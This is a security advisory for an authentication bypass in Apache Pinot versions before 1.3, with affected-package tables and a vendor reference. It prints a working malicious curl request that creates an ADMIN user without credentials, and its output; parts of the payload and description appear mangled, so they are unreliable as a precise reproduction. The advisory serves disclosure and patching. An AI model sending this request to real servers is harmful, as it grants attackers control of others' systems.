Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Affected products
| Vendor | Product | Affected | Fixed |
|---|---|---|---|
| Apache Software Foundation | Apache Pinot | < 1.3 | 1.3 |
Automated scanner template
A ready-made Nuclei template detects this vulnerability automatically. Vulnerabilities with public scanner templates are typically probed across the internet soon after the template appears — exposed systems should be patched first.
- Apache Pinot < 1.3.0 - Authentication Bypass http/cves/2024/CVE-2024-56325.yaml
Source: projectdiscovery/nuclei-templates (MIT) — updated daily. Only links are listed.
Affected packages
| Ecosystem | Package | Affected | Fixed | Record |
|---|---|---|---|---|
| Maven | org.apache.pinot:pinot-broker | >= 0.8.0, < 1.3.0 | 1.3.0 | GHSA-6jwp-4wvj-6597 |
| Maven | org.apache.pinot:pinot-common | >= 0.8.0, < 1.3.0 | 1.3.0 | GHSA-6jwp-4wvj-6597 |
| Maven | org.apache.pinot:pinot-controller | >= 0.8.0, < 1.3.0 | 1.3.0 | GHSA-6jwp-4wvj-6597 |
References
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v vendor-advisory